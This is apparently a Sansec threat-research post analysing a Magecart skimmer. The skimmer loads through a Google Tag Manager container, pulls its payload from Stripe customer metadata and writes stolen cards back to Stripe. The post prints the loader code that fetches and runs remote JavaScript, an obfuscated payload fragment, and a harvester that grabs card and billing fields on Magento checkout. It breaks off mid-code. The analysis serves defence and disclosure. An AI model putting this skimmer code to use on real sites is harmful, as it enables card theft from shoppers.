Magecart skimmer turns Stripe into a malware command server | Sansec 112) {<br>this.ssScrolled = true;<br>} else if (window.pageYOffset Scan your store now<br>Scan your<br>store now
Scan your store now!
Magecart skimmer turns Stripe into a malware command server
by Sansec Forensics Team<br>Published in Threat Research − June 04, 2026
Sansec found a Magecart family that runs its skimmer straight out of Stripe. The attacker stores the card stealer in a Stripe customer's metadata and runs it on checkout pages, then writes stolen cards back into the same account as fake customers. Stripe is both the command server and the exfiltration sink, all behind a domain almost no store would block.
The skimmer never loads from a domain the attacker controls. The loader, the payload, and the stolen cards all flow through two domains every store already trusts: Google Tag Manager and Stripe.<br>Both the payload and the stolen cards move through api.stripe.com. Stores allow that domain by default, so the skimmer slips past Content Security Policy rules and network filters that would otherwise flag traffic to an unknown skimmer domain.<br>The loaders are real Google Tag Manager containers (GTM-P6KZMF63 and others), planted as a custom tag and served straight from googletagmanager.com. Serving the loader from a Google domain helps it blend in next to a store's legitimate analytics tags.<br>How it works<br>The malware splits its work into three parts that run in this order:<br>Code delivery : located within a real GTM container (GTM-P6KZMF63), the code executes on every page that loads it. On checkout pages it fetches the skimmer from Stripe customer metadata and runs it with new Function().<br>Harvest : the skimmer hooks into the checkout button. On click, it grabs the card and billing fields, XOR-encodes them, and parks the blob in localStorage.<br>Exfiltration : 1 second after each page load, then every 60 seconds, the loader reads that blob from localStorage and uploads it to the attacker's Stripe account as a fake customer.<br>The loader<br>Cleaned up, the delivery code is small. On checkout pages it pulls the skimmer from Stripe and runs it:<br>// on checkout pages, fetch the skimmer from Stripe and run it<br>if (location.href.indexOf("checkout") !== -1) {<br>setTimeout(function () {<br>getMetaString().then(function (code) {<br>if (code) new Function(code)(); // arbitrary remote code execution<br>});<br>}, 2000);
// fetch the skimmer chunks from the attacker's Stripe customer metadata<br>function getMetaString() {<br>return fetch("https://api.stripe.com/v1/customers/cus_TfFjAAZQNOYENR", {<br>headers: { Authorization: "Bearer sk_test_51Shuxz4fAPbvfTkr[...]" }<br>}).then(function (r) { return r.json(); })<br>.then(function (r) {<br>return Object.keys(r.metadata).map(function (k) { return r.metadata[k]; }).join("");<br>});<br>On any checkout page, getMetaString() fetches a specific Stripe customer (cus_TfFjAAZQNOYENR) in the attacker's account and concatenates its metadata fields. The skimmer is too long for a single Stripe metadata value, so the attacker chops it into chunks stored across meta0, meta1, meta2 and so on.<br>The loader joins them and runs the result with new Function(). That is arbitrary remote code execution, with Stripe serving the command.<br>This design lets the attacker update the skimmer at any time by editing the Stripe metadata, with no need to touch the injected GTM tag or the victim store again.<br>Fetching that customer record returns the staged skimmer:<br>"id": "cus_TfFjAAZQNOYENR",<br>"object": "customer",<br>"created": 1766594844,<br>"email": "jennyrosen@stripe.com",<br>"invoice_prefix": "WLUFUAQS",<br>"name": "Jenny Rosen",<br>"metadata": {<br>"meta0": "var a0_0xa01889=a0_0x11c7;(function(_0x5819d6,_0xe324f9){var _0x3069e3=a0_0x11c7,_0x40b7fe=_0x5819d6();while(!![]){try{var _0x44265a=parseInt(...",<br>"meta1": "...",<br>"meta10": "..."<br>The jennyrosen@stripe.com email and WLUFUAQS invoice prefix are leftovers from Stripe's own sample data, a sign the attacker built this customer record from a default template. The record was created on December 24, 2025, so this campaign has likely been running since at least late last year.<br>The skimmer harvests the checkout<br>Decoded and condensed, the harvester waits for the checkout button, then hooks its click:<br>// poll until the Magento checkout button exists, then hook its click<br>var poll = setInterval(function() {<br>var btn = document.querySelectorAll(".action.primary.checkout:not(#top-cart-btn-checkout)");<br>if (!btn.length) return;<br>clearInterval(poll);<br>btn[0].addEventListener("click", function() {<br>// read each field by selector, "null" when absent, then pipe-join<br>var grab = function(sel) {<br>var el = document.querySelectorAll(sel);<br>return el.length ? el[0].value : "null";<br>};<br>var out = [<br>grab('input[autocomplete="cc-number"]'),<br>grab('[name="payment[cc_exp_month]"]'),<br>grab('[name="payment[cc_exp_year]"]'),<br>grab('input[name="payment[cc_cid]"]'),<br>// ...firstname, lastname, street[0], city, country_id, region_id,<br>// postcode, customer-email, telephone, [data-th='Grand...